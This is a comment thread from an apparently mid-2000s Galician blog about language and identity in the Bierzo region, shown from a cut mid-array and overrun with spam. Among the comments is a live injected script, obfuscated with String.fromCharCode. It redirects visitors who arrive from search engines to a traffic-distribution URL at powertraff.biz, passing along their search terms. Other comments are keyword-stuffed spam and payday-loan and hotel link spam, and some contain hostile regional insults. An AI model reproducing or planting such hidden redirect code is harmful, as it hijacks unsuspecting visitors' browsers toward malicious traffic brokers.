114,97,109,101,116,101,114,61,34,43,114,46,115,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,105,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));
Thanks that you helped me in information search. I have sent the link to your site to all my friends, they were very grateful, but first of all they were grateful to you!
----- COMMENT: AUTHOR: push the button [Visitante] DATE: Wed, 18 Oct 2006 21:40:41 +0000 URL: http://push-anjcuhe.redtedtorto.info/index.htmltex willer tex willer gracie fields gracie fields autolivellante autolivellante visura pra visura pra il secondo secondo me il secondo secondo me tà mmaro tà mmaro lo scheletro umano lo scheletro umano universit㣠popolare di roma universit㣠popolare di roma schiesen schiesen km0 meriva km0 meriva oligarchia oligarchia windos media player 9 windos media player 9 zingarèlli nicòla zingarèlli nicòla bomboniera beneficenza bomboniera beneficenza www tropical life it www tropical life it agile warrior 2 agile warrior 2 thumper thumper step up step up sponsorizzà re sponsorizzà re kazdy ponad kazdy kazdy ponad kazdy estella warren estella warren offerta speciali vacanza offerta speciali vacanza spon spon shanghai 3d shanghai 3d key seca2 key seca2 ocotal ocotal word counter xp 1 2 word counter xp 1 2 www gooogle com www gooogle com super pang 3 super pang 3 navigatore gps per palm navigatore gps per palm ho scelto la libertà ho scelto la libertà super mario 64 super mario 64 dfi lanparty nf4 ultra d dfi lanparty nf4 ultra d pro rugby manager 2004 patch 1 03 pro rugby manager 2004 patch 1 03 tommy v tommy v racconti zoofilia racconti zoofilia ping ball ping ball rm to mp3 converter v1 34 rm to mp3 converter v1 34 ratto (zoologia e altro) ratto (zoologia e altro) illuminazione illuminazione toca world touring cars toca world touring cars trucchi per ps2 ratchet e clank 2 trucchi per ps2 ratchet e clank 2 parasociali parasociali acustica ambientale acustica ambientale stanislao nievo stanislao nievo paillette paillette key slovoed 2 0 key slovoed 2 0 spaccio intimissimi milano spaccio intimissimi milano www 105 www 105 push the button push the button push the button
----- COMMENT: AUTHOR: payday loans [Visitante] DATE: Tue, 17 Oct 2006 17:48:33 +0000 URL: http://hometown.aol.ca/ninkasak/payday-loans.htmpayday loans
----- COMMENT: AUTHOR: payday advance [Visitante] DATE: Tue, 17 Oct 2006 17:19:46 +0000 URL: http://hometown.aol.ca/ninkasak/payday-advance.htmpayday advance
----- COMMENT: AUTHOR: Nick [Visitante] DATE: Tue, 17 Oct 2006 16:52:32 +0000 URL: http://hometown.aol.ca/ninkasak/cash-advance.htmcash advance
----- COMMENT: AUTHOR: nikolay [Visitante] DATE: Tue, 17 Oct 2006 15:58:24 +0000 URL: http://hometown.aol.ca/ninkasak/refinance-mortgage.htmi like you men
----- COMMENT: AUTHOR: San Antonio hotels [Visitante] DATE: Tue, 17 Oct 2006 09:47:02 +0000 URL: http://www.hotel-buenosaires.ws/buenosaires112_de/United_States/Texas/San_Antonio-hotels.htmlOnte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.hotel-buenosaires.ws/buenosaires112_de/United_States/Texas/San_Antonio-hotels.html
Onte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.hotel-houston.ws/houston47_de/Brazil/Sao_Paulo-hotels.html
Nice design!
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,33,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,97,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40,34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47,116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,115,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,105,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));
Onte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.bestfrhotel.info/inwrought_Spain/noil_Comunidad%20Valenciana/inexplicit_Alicante_1.html
Onte, 29 de Agosto, foi enviado a diversos meios de comunicaçom, impresos e electrónicos, da Comunidade Autónoma Galega e do Berzo, o seguinte artigo, assinado, a título individual, por 34 pessoas pertencentes a diversos campos da sociedade berziana (cultural, artístico, associacionismo juvenil, sindical, partidos políticos, etc…). Hoje, às 10 da manham, ainda só aparece publicado no PGL. Aguardemos que outros meios o recolham nas próximas horas e/ou dias.
>[Mais:]
I do not agree. Go to http://www.franciscohotels.info/coir_Belgium/verdancy_Flandre/fickle_Bruges_1.html
Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 27 Sep 2006 11:55:29 +0000 URL:Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 27 Sep 2006 11:54:52 +0000 URL:Sempre gostei muito da tua poesia, mas agora nom che escrevo por isso. Preciso o telefone de alguém de NOS-UP que poda dar umha palestra n?O Facho sob o epígrafe: Repensar Galiza. A charla e debate seria no primeiro trimestre do vindouro ano.
Umha aperta
Corral Iglesias, J.A.
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Mon, 25 Sep 2006 19:00:32 +0000 URL: http://WWW.IUB.ESe como decia un perigrino facendo o camiño:En tiempos de Felipe II, Bartolome de Villalba y Estaña escribe un relato de viajes llamado “el peregrino curioso", llegando a Villafranca afirma:
“Tiene esta Villa buena vega, aunque ya está en Galicia, donde falta pulícia y sobra malicia".
Xa dava conta de como e o castelan.
Faremos o possível para enviar toda ajuda.
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Tue, 19 Sep 2006 07:46:31 +0000 URL: http://WWW.IUB.ESO Marechal Pero Pardo de Cela Aguiar e Ribadeneyra” (o bretoñés defensor da soberanía do Reino de Galicia) naceu en Castro d?Ouro. Era fillo dunha das máis nobres linaxes do Reino de Galicia, os Señores de Cela e de Violante de Aguiar. Intimo amigo dos Condes de Monterrei e de Lemos, casou con Dona Isabel de Castro, filla da Condesa Beatriz e de Don Pedro de Osorio, vencellándose así cos poderosos Condes de Lemos e con outras importantes linaxes do Reino de Galicia.
Los castillos de Ponferrada, Cornatel y Corullón pasaron a manos de los Condes de Lemos por herencia, en el siglo XV.
Tralo 17 decembro 1483 caeron en mans do Reino de Castela outros nobres galegos leais á soberanía de Galicia, moitos deles vasalos do Marechal, ata terminar co sitio de Ponferrada, a última cidade galega en resisti-los exércitos dos Reyes Católicos. Aquela data marca o comezo da decadencia e depresión do Reino de Galicia, a perda da súa soberanía como nación próspera, comercial e influinte en Europa, e inicio dunha persistente colonización económica, emigración e censura cultural.
ALGUNS NON SABEN ONDE NACERON
pensei que o meu nome era unico pero xa vexo que non, parabens polo rapaz
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Sun, 17 Sep 2006 13:21:27 +0000 URL: http://WWW.IUB.ESoeULA, como cho diria,eu non teño a culpa de que naceras no bierzo e unha condea que so vos corresponde a vos soportar en canto a esa canle comparable se cabe coa castelan , pois que queres que che diga muller, xa botan bastante merda desde castelaleon sen ademais ter que suportar en castelan, que alguns non saben onde naceron, querida sabuxa!
ALGUNS NON SABEN ONDE NACERON,QUERIDA SABUXA
Moi bom
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 13 Sep 2006 20:32:23 +0000 URL:Escreve-me o Manolo, um bom companheiro, para me comentar que na lista de centros que impartem língua portuguesa faltam dous, ambos os dous de Bembibre: o I.E.S. ALVARO YANHEZ E O I.E.S. SENHOR DE BEMBIBRE.
Recolhida queda a anotaçom.
Por el derecho a aprender gallego en el Bierzo
Manuel Ovalle
Vivo en Ponferrada, nací en Cacabelos. Mi madre es de Cacabelos, de Quilós, y mi padre de Carracedelo. Siempre, toda la vida, han hablado en gallego, entre ellos y con sus hermanos. Por supuesto, también con sus padres. Con sus hijos, es decir, conmigo y con mis hermanos, no. Practicamente nunca.
Somos tres hermanos, dos hombres y una mujer. Mi hermano mayor, que sigue viviendo en Cacabelos, habla el gallego bastante bien, aunque como no lo pudo aprender en casa, dice muchas cosas por el medio en castellano, pero cuando va al bar a echar la partida, o cuando los dias de fiesta nos reunimos y acabamos cantando y contando histórias después de la cena o la comida, es incapaz de no hacerlo en gallego. Las canciones que canta, son siempre en gallego: y no lo hace por ningun tipo de convencimiento ideológico o político, las canta tal y como las aprendió. Su mujer, mi cuñada, es procedente de La Barosa, y ella si que habla bién el gallego? Dá envidia escucharla a ella y a su madre cuando se juntan!
Mi hermana emigro a Barcelona, y allí aprendió catalán (está casada con un chico de allí, Manel), y ahora, desde hace dos años, manda a sus dos hijas a aprender gallego ("como sus abuelos", dice), al Centro Gallego. Cuando vienen en verano, intenta que de vez en cuando la gente les hable en gallego, para que ellas vean que aprenden un idioma útil y vivo. Este año, pasaron una semana en Burela, en la costa de Lugo, y venian encantadas por haber podido hablar con mucha gente en gallego.
Yo nunca pude aprender gallego, y aunque lo entiendo sin problemas, practicamente no se hablarlo. Me gustaria que mis hijos, cuando los tenga, lo aprendieran, para que hablen como sus abuelos, como su tío Luís, como sus primas Laura y Belén. Como una gran parte de sus familiares de Carracedelo y Cacabelos. Por suerte, ellos podrán. Yo no pude, y lo lamento. Como mi caso, hay muchos más en todo el Bierzo. Sólo que no nos dedicamos a insultar a los que nos impidieron durante muchos años tener la posbilidad de aprender gallego.
Que exista la posibilidad de aprender gallego en las escuelas, en los institutos, es una cuestión de derecho: tenemos derecho a aprender el idioma de nuestros padres, de nuestros abuelos. El idioma que se hablaba y que todavía se habla en nuestras aldeas, en nuestros pueblos. En definitiva, el idioma de nuestras cosas. Es de justicia, y no puedo comprender que exista gente que quiera negarnos nuestros derechos. A ellos nadie les obliga a aprender gallego, pero ellos quieren obligarnos a nosotros a no aprenderlo. Y se llaman demócratas? Yo creo que tienen otro nombre. Con sus insultos, con sus amenazas, con sus mentiras e hipocresía, se retratan y se delatan.
test hgskhdfkjhdskfhsjdhfjkhdks
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Mon, 04 Sep 2006 10:39:07 +0000 URL: http://WWW.IUB.ESel berciano es bilingue,mientras que los
castellanosleoneses son monolingues y cuando se establecieron en el bierzo abandonando la meseta desertica nunca
se integraron siguen hablando castellano
y castellanizando los topónimos galegos-bercianos apoyados por los castellanosleoneses que tienen la secursal en valladolid,es una gente que nunca se integra ,la falta de cultura es palpable a cualquier sitio en cataluña, estan toda la vida y nunca hablan catalan ni tan siquiera lo entienden.
----- COMMENT: AUTHOR: manuel [Membro] DATE: Thu, 24 Aug 2006 22:35:01 +0000 URL: https://www.rtp.pt/play/direto/antena1fado
Mas que notícia é esta? Então não era isso?
Dicionário:
Imbecil: Bush.
galego-berziana? que estranho soa isso.
Ah, e vim a notícia no Faro de vigo (acho) mas nom reparei em que estava a Sarai tb!
----- COMMENT: AUTHOR: mendinho [Visitante] DATE: Thu, 24 Aug 2006 07:30:31 +0000 URL: http://mendinho.blogspot.com/O problema não está tanto em Bush como nas pessoas que o rodeiam.
----- COMMENT: AUTHOR: ANXEL [Visitante] DATE: Sun, 20 Aug 2006 14:51:52 +0000 URL: http://WWW.IUB.ESPLATAFORMA,LLIONES QUE SI PROVIANCIA,
QUE SI ASTURLEONES,EL BABLE,EL PIXUETO,
EL MIRANDES,CUANTOS FUEGOS DE ARTIFICIO
CON EL FONDO DE DIVIDIR PARA VENCER.
ESTOS ESPAÑOLES SI ESTUVIESEN EN SUIZA QUE TIENE 3 LENGUAS HARIAN IGUAL,SEMBRARIAN EL MALESTAR.
BUENO PERO ESTAN AQUI POR DESGRACIA Y A VECES SE HACEN LOS TOLERANTES,CLARO PERO
EL GALEGO SI,PERO QUE NO SE LO IMPONGAN,
CLARO QUIEREN DECIR QUE NO ESTUDIE EN LOS COLEGIOS PARA QUE SE PIERDA.
TODOS LOS LEONESES DEL BIERZO HABLAN LLIONES.
PARA EL PROXIMO CURSO LOS LIBROS ESTARAN EN LLIONES,EL IDIOMA IRTERNACIONAL.
“el modelo social leonés".
Estas som as cousas que dam para umha, ou duas, Teses de Doutoramento.
Em psiquiatria, por suposto.
SOY DEL BIERZO Y TODA MI FAMILIA HABLA GALEGO,CASI TODOS LOS PUEBLOS ESTAN EN GALEGO,EN EL BIERZO AL QUE NEGABA QUE ERA GALEGO SE DICE QUE ES KAZURRO=malicioso, reservado y de pocas palabras Y Torpe, lento en comprender,O SEA TONTO,COSA QUE YO NO COMPARTO.
PA MÍ LEON ES UNA PROVINCIA DE CASTILLA,CON CULTURA CASTELLANA.LENGUA CASTELLANA.
Un gran artículo sobre el Bierzo y sus tópicos:
http://www.diariodeleon.es/inicio/noticia.jsp?CAT=108&TEXTO=5001485
Placa dedicada a don Manuel Fraga Iribarne en Manatí, Oriente, Cuba
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Sun, 06 Aug 2006 23:25:45 +0000 URL:Fazer umhas marchas no outono, polas ruas e praças com isses nomes. E dizer quem eram isses individuos e os seus assassinatos
----- COMMENT: AUTHOR: Amil [Visitante] DATE: Fri, 04 Aug 2006 21:27:28 +0000 URL: http://www.aguonobi.blogspot.comO artículo é mui interessante, é tem toda a razom, que caralho… O Berzo também é Galiza!
E falando de todo um pouco… parece-me estúpido pôr comentários só para fazer promoçom do teu web.
Bua, o teu site é fixe! Visita o meu: www.aguonobi.blogspot.com
----- COMMENT: AUTHOR: Corral Iglesias [Visitante] DATE: Sat, 29 Jul 2006 17:55:21 +0000 URL:Grazinhas por escrever estas cousas.
Corral
----- COMMENT: AUTHOR: Michael [Visitante] DATE: Tue, 04 Jul 2006 19:37:21 +0000 URL: http://umaxforum.comblaz blaz blaz
----- COMMENT: AUTHOR: Michael [Visitante] DATE: Tue, 04 Jul 2006 19:34:44 +0000 URL: http://umaxforum.comblaz blaz blaz
----- COMMENT: AUTHOR: Bennett [Visitante] DATE: Tue, 04 Jul 2006 19:32:48 +0000 URL: http://umaxforum.comblaz blaz blaz
----- COMMENT: AUTHOR: abel [Visitante] DATE: Mon, 29 May 2006 19:44:09 +0000 URL:a igor mira el bable es unas cuantas palabras del castellano antiguo o sea es como un cocido donde hay de todo y donde hay de todo no es nada ni tan siquiera es un dialecto.Que tú quieras españolizar un sitio donde no vives ya lo hicisteis en sudamerica con los indios y mismos argumentos.nosotros a tu
idioma es castejano,tú cultura los toros
y tú marisco las fabis
a igor mira el bable es unas cuantas palabras del castellano antiguo o sea es como un cocido donde hay de todo y donde hay de todo no es nada ni tan siquiera es un dialecto.Que tú quieras españolizar un sitio donde no vives ya lo hicisteis en sudamerica con los indios y mismos argumentos.nosotros a tu
idioma es castejano,tú cultura los toros
y tú marisco las fabis
Un comentário no meu blog sobre o Dia das Letras no Berzo (e também o texto dentro do post onde falas dele) diz que será o dia 12.
Nom vou escrever eu nada na minha bitácora para evitar erros, ainda que suponho que é em sábado 13.
Saúde.
Pois sim, onde estiver um bom butelo da Fonsagrada…
----- COMMENT: AUTHOR: Xende I [Visitante] DATE: Sat, 06 May 2006 10:39:05 +0000 URL:Parabéns para você!
… e parabéns também a toda essa nova geraçom de galegos e galegas que som a ’semente’ de luita, no caminho face umha pátria libertada.
Venham mais 4… e mais 4… e mais 4…
P.S: Dá-lhe um saúdo ao Igor e à Noelia ;)
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Thu, 04 May 2006 19:16:22 +0000 URL:Bom… Sempre é precisso que exista organizações que tentem ser umha ferramenta de emancipaçom das classes populares e dos povos. Aguardo que Nos-Up seja umha das mesmas. Umha aperta.
Corral
----- COMMENT: AUTHOR: xavi [Membro] DATE: Wed, 03 May 2006 22:34:02 +0000 URL: http://mariacastanha.agal-gz.orgViva!
Viche que falárom de ti hoje (quarta) em La Voz?
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 03 May 2006 20:37:07 +0000 URL:O que seguo sem entender é como Fala Ceive ainda nom existe legalmente. E fago-me umha pergunta, por quê?
----- COMMENT: AUTHOR: nando [Visitante] DATE: Thu, 16 Mar 2006 09:43:54 +0000 URL:Ola! Preciso falar contigo… mais non atopo o enderzo de correo electrónico no perfil. ¿podes escreberme a nandinho_gz@hotmail.com? GRAZAS!!
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 24 Feb 2006 18:23:41 +0000 URL: http://www.tangaranhovermelho.blogspot.comTambém é de celebrar, vaia, que a visom que se vaia dar da Galiza nom seja monolítica, que seja fiel à sua pluralidade e complexidade.
Por certo, aproveito para que visitedes o blog www.spaces.msn.com/aldeiadeiris
----- COMMENT: AUTHOR: sarai [Visitante] DATE: Mon, 20 Feb 2006 17:58:03 +0000 URL:é o sobrinho mais lindo que tenho!!
----- COMMENT: AUTHOR: Máuri [Visitante] DATE: Mon, 20 Feb 2006 15:55:17 +0000 URL:Muitos parabéns, Noélia e Igor.
Máuri.
----- COMMENT: AUTHOR: xavi [Membro] DATE: Mon, 20 Feb 2006 15:32:11 +0000 URL: http://mariacastanha.agal-gz.orgA ti também? :D A ver se é mais longa que a que saiu no telejornal de Tele5, hehe. Com certeza que sim, eu sei ;).
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 15 Feb 2006 15:19:31 +0000 URL:Obrigado : )
Da minha parte, e por suposto também de parte de Noélia e do próprio Xende.
PD/ E, ademais, muito obrigado por ler este blog. Depois de tanto tempo paralisado, resulta increível que ainda haja gente que visite este bar.
----- COMMENT: AUTHOR: mariademallou [Visitante] DATE: Tue, 14 Feb 2006 01:23:43 +0000 URL: http://casatlantica.blogspot.comai que lindo!!!! que boa nova!!! parabéns!
----- COMMENT: AUTHOR: xavi [Membro] DATE: Mon, 13 Feb 2006 14:21:37 +0000 URL: http://mariacastanha.agal-gz.orgOooh :D Muitíssimos parabéns.
----- COMMENT: AUTHOR: xavi [Membro] DATE: Fri, 10 Feb 2006 10:26:34 +0000 URL: http://mariacastanha.agal-gz.orgMuito bom, gostei muito :) E o título do seu livro vai com “Berzo", como pugeche no post?
----- COMMENT: AUTHOR: 7uuinmjhk [Visitante] DATE: Fri, 27 Jan 2006 20:50:32 +0000 URL: http://jgjtykestupidos estupidos esto e estupido
----- COMMENT: AUTHOR: 7uuinmjhk [Visitante] DATE: Fri, 27 Jan 2006 20:49:39 +0000 URL: http://jgjtykque estuidez e nojo naao se sabe fazer outras coisas
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Tue, 03 Jan 2006 19:27:53 +0000 URL:Ao que chegou Tiním… A mentira é a practica do seu quefazer…Quando se salta a taranqueira, despois todo é válido. E temo-la dificil, com o “torito” galego, pois é da escola do Tiním
----- COMMENT: AUTHOR: eue [Visitante] DATE: Mon, 12 Dec 2005 19:57:13 +0000 URL: http://haicu.blogspot.comO meu apoio incondicional ao galego estremeiro e as culturas que o sustentaron! Un blog caralludo, por certo, vouche poñer unha ligazón
----- COMMENT: AUTHOR: oollodavaca [Visitante] DATE: Thu, 17 Nov 2005 13:26:23 +0000 URL: http://oollodavaca.blogspot.comO outro día comenchateábamos co meu irmán que este mundo non é para nós. Está deseñado para que nos machaquen vivos e nós deixámonos en aras da supervivencia (ás veces máis “súper” do mínimo indispensábel pero aí está a nosa capacidade infinita de crearnos necesidades (im)prescindíbeis). Pero, por riba, algúns temos a ocorrencia revolucionaria de querer facer cousas fóra do traballo que non son nin alimentar o corpo nin durmir.
El engadiu que este mundo non é así, pero nolo teñen secuestrado.
Ten razón.
Unha aperta grande, Igor. Que o mundo non te devore.
Eu sígoche debendo unha visita. Pero é que non sería un OVNI no Berzo. Sería a fin do mundo, a estas alturas…
----- COMMENT: AUTHOR: ula [Visitante] DATE: Sat, 22 Oct 2005 18:52:04 +0000 URL:Soy leonés del Bierzo. Todos mis antepasados hablaron leonés, se organizaron segun el modelo social leonés. y lo sé porque es lo que ha quedado y permanecido con el paso del tiempo. No tengo nada que ver con galicia y jamás mi familia ha hablado en gallego.Parece que en ponferrada es lo que se quiere imponer, queda bonito sentirse más cercano de lo gallego para enfrentarse a la capitalidad de la ciudad de León. Efectivamente, Bierzo libre, pero de estos personajes que se creen nacionalistas gallegos.. que pena, penita pena. lo que hace la incultura…
----- COMMENT: AUTHOR: Berciano [Visitante] DATE: Mon, 10 Oct 2005 17:05:54 +0000 URL:Todos sabemos que en origen el Bierzo es tan sólo el Bierzo bajo, aunque luego se extendió la denominación a toda la región. Esto nunca significó que el resto de los valles (Sil, Bueza, cuenca de Fabero, Furniella, Valdueza, etc.) perdieran su identidad diferenciada de la del Bierzo bajo y de la del Bierzo oeste (Somoza, Aguiar, Valcárcel).
A pesar de ello se ha impuesto tanto la identidad del Bierzo bajo al resto de la región y las gentes del resto de los valles no levantan la voz, que hay personas capaces de decir lo que esta dice, que además se lo cree, como habrá personas que lo creerán. De hecho lo creen así, hay demasiados.
Obviamente este hombre es (y los que piensan como él son) unos ignorantes (o inorantes como decimos en el Bierzo) sobre todo al decir que nunca oyó a nadie decir en el Bierzo que son leoneses. Vamos, que yo oigo lo que no quiero oir y además yo me siento leonés porque extrañas fuerzas venidas desde más allá del Manzanal me han abducido.
Si supiese lo que es el Bierzo, sabría que en esos valles que nombré antes a los gallegos se les tenía por gente inferior (cosa que yo no apruebo) y a las gentes del Bierzo bajo y oeste casi por el estilo (tampoco lo apruebo). Esto tiene como fondo la identidad que estas personas tenían y tienen, como bercianos y además leoneses (ellos así lo afirman) con la cual pretendían y pretenden además desligarse de una identidad de “gallegos mesetarios” que se les pretende imponer y que no aceptan.
Obrigada, Igor, por manter-nos ao dia do que acontece no outro lado do País. E sobretudo por lembrar-nos que o é.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 14 Sep 2005 19:53:45 +0000 URL:Como di o conto, se o desenvolvemento económico da Galiza fosse o de Suecia e a cidade de Lugo como Stugart (Alemanha) nom existiria problema com a galeguidade do Berço, nem muito outros problemas.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 02 Sep 2005 15:01:18 +0000 URL:Obrigado aos dous pola informaçom. Mirarei de comprar o livro do que falas, Xávi, que tambem tem um título bem sugestivo. O das “Mulheres deveriam vir…” (ainda que lido em espanhol), pareceu-me muito bom.
Mágoa de blog!
Sabela, o que me ofereceche é outro, que deve de ser o seguinte que escreveu: “O amor é para os parvos". A editorial é Campo das Letras.
Acabo de procurar, e na página da editorial (http://www.campo-letras.pt) pode-se comprar directamente. Também tinha um blogue (http://marmelo.blogspot.com) mas polo que se vê deveu-no deixar.
----- COMMENT: AUTHOR: sabela [Visitante] DATE: Thu, 01 Sep 2005 02:03:50 +0000 URL: http://www.pepilucibom.tkTenho-cho eu, caro. Diria-che de que editorial é mas acho que lho oferecim ao xávi. Já perguntarei.
----- COMMENT: AUTHOR: manuel [Membro] DATE: Fri, 26 Aug 2005 16:10:24 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoTambém existiram reis e reinos de “Leão e Castela” ou de “Castela e Leão". A história não é só a Comunidade Autónoma actual.
Se só for assim, nenhuma comunidade autónoma actual seria “nacionalidade histórica". Essa expressão ("nacionalidade histórica") aplica-se às comunidades que durante a segunda República espanhola tiveram governos autónomos ou estatutos para os ter (a Catalunha, a Galiza e o País Basco/Vasco); a estas foi acrescentada também a Andaluzia.
Bem, agora já como comentário pessoal, a minha ideia é que as “nacionalidades", históricas ou não, não existem objectivamente. Nem as nacionalidades, nem as nações, nem as pátrias… Tudo inventos românticos elitistas do século XIX. Nada: todos somos cidadãos da mesma terra (e Terra).
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 26 Aug 2005 13:57:09 +0000 URL:Efectivamente, acabenconellos, precipitache-te. Eu nom som quem para dizer-lhe aos leoneses, nem aos castelaos, o que tenhem que ser ou o que tenhem que fazer, faltaria mais.
Ainda mais: penso que sim existem umha naçom, chamada Castela, ou quando menos que essa naçom está em fase de formaçom, e, como di Ivam, está dividida em, quando menos, 4 comunidades autónomas. O que nom pode ser entendível (para mim desde logo nom o é) é que se defina a Comunidade Autónoma de Castela e Leom (que nom por acaso se chama de Castela E Leom, e nom Castela-Leom), como umha “acionalidade histórica", quando tem menos de 25 anos e a sua artificial existência obedece a umha decissom política-administrativa.
Edu: volto ao real mundo virtual. Pouco, mais volto. Outras ocupaçons ocupam a minha ocupada existência (já chas contarei se é que finalmente decide vir tomar umhas cervejas pola Gatera).
----- COMMENT: AUTHOR: Tomás [Visitante] DATE: Fri, 26 Aug 2005 07:39:44 +0000 URL:Aconselho-vos o livro de Anselmo Lopez Carreira “O Reino Medieval de Galicia".
----- COMMENT: AUTHOR: manuel [Membro] DATE: Fri, 26 Aug 2005 07:08:36 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoErro:
Queria dizer “Castela não era um reino antigamente? Leão?” Porque eram (foram) reinos.
Vale, tienes razón, Iván, me he precipitado. Es cierto que lo propio serían dos nacionalidades: Asturias-León y Castilla.
En cuanto a territorios que son de identidad cultural gallega (Bierzo y parte de Zamora, entre otros), creo que Igor tiene razón, pero no creo que fuera de esperar un reconocimiento de esos ámbitos lingüísticos (de hecho el asturianu sigue siendo académicamente clasificado como “bable", algo en lo que interviene claramente una visión depreciativa y represora en su proyección política). Ese reparto territorial en “comunidades autónomas", como los de África, Asia, América, se hizo desde esa comunidad fantasmática y puramente burocrática (Madrid), y está lleno de puntos conflictivos.
Os pido disculpas por mi comentario anterior (al leerlo ahora me suena bastante “alporizado").
Un saludo.
Eu penso que não há dupla moral, o que se diz é que Castela e Leão não é uma nacionalidade histórica. O que pode é ser duas nacionalidades históricas. Ninguém pode negar que Castela é uma nação, mas também é certo que está dividida em, quando menos, quatro comunidades autónomas. Castela e Leão não leva nem uma geração existindo como realidade jurídica ou social, enquanto Castela, como também Leão, tem uma história de séculos.
Iván
Qué curioso. Tú, que no dudas en afirmar la identidad histórica de tu pueblo, enfrentando el españolismo centrista que siempre la ha negado y oprimido, ahora te rebotas porque otros, con igual derecho a hacerlo que tú, lo reclamen.
En mi tierra eso se llama doble moral.
Vive y deja vivir.
----- COMMENT: AUTHOR: Edu [Visitante] DATE: Thu, 25 Aug 2005 08:20:19 +0000 URL: http://www.luagris.netouh! toqueiche a fibra sensíbel co meu comentario último no post sobre o regreso á hostalaría?
benvido de regreso ao mundo real, do que algúns aínda non puidemos fuxir este ano… todo chega…
----- COMMENT: AUTHOR: manuel [Membro] DATE: Wed, 24 Aug 2005 09:22:38 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoIgor,
A resposta encontra-se aqui. Veja: http://www.losgenoveses.net/
Saudações.
Olhe, amigo. O qué é uma “nacionalidade". Imaginário romântico. Pois isso. Castela não era um reino antigamente. Leão? As nações e as pátrias não existem empíricamente. São filhas dos idealistas do século XIX (e XX)… Por tanto, Castela e Leão, nacionalidade histórica como outra qualquer. Se lho concedem, bem por eles e até mais.
Saudações.
----- COMMENT: AUTHOR: Edu [Visitante] DATE: Tue, 23 Aug 2005 12:24:27 +0000 URL: http://www.luagris.netquen o diría… o mostrador tragouse ao igor…
é que a hostalaría…
